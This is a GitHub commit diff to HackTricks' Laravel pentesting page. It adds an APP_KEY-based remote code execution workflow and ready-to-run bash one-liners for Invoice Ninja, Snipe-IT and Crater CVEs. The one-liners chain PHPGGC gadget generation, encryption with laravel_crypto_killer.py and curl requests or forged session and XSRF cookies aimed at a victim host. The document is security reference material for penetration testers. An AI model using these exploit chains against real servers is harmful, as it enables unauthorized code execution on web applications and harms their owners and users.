Skip to content

Commit 31a9baa

Browse files
authored
Merge pull request HackTricks-wiki#1219 from HackTricks-wiki/update_Laravel__APP_KEY_Leakage_Analysis_20250731_124055
Laravel APP_KEY Leakage Analysis
2 parents 511a7aa + e4e13a5 commit 31a9baa

File tree

1 file changed

+26
-5
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+26
-5
lines changed

‎src/network-services-pentesting/pentesting-web/laravel.md‎

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -64,10 +64,30 @@ The script transparently supports both CBC and GCM payloads and re-generates the
6464
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
6565

6666
The exploitation workflow is always:
67-
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
68-
2. Generate gadget with **PHPGGC**
69-
3. `laravel_crypto_killer.py encrypt …`
70-
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
67+
1. Obtain or brute-force the 32-byte `APP_KEY`.
68+
2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).
69+
3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`.
70+
4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger **RCE**.
71+
72+
Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:
73+
74+
```bash
75+
# Invoice Ninja ≤5 – /route/{hash}
76+
php8.2 phpggc Laravel/RCE13 system id -b -f | \
77+
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
78+
xargs -I% curl "https://victim/route/%"
79+
80+
# Snipe-IT ≤6 – XSRF-TOKEN cookie
81+
php7.4 phpggc Laravel/RCE9 system id -b | \
82+
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
83+
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
84+
85+
# Crater – cookie-based session
86+
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
87+
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
88+
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
89+
```
90+
7191

7292
---
7393

@@ -180,7 +200,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
180200

181201

182202
## References
183-
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
203+
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
204+
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
184205
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
185206
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
186207
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)

0 commit comments

Comments
 (0)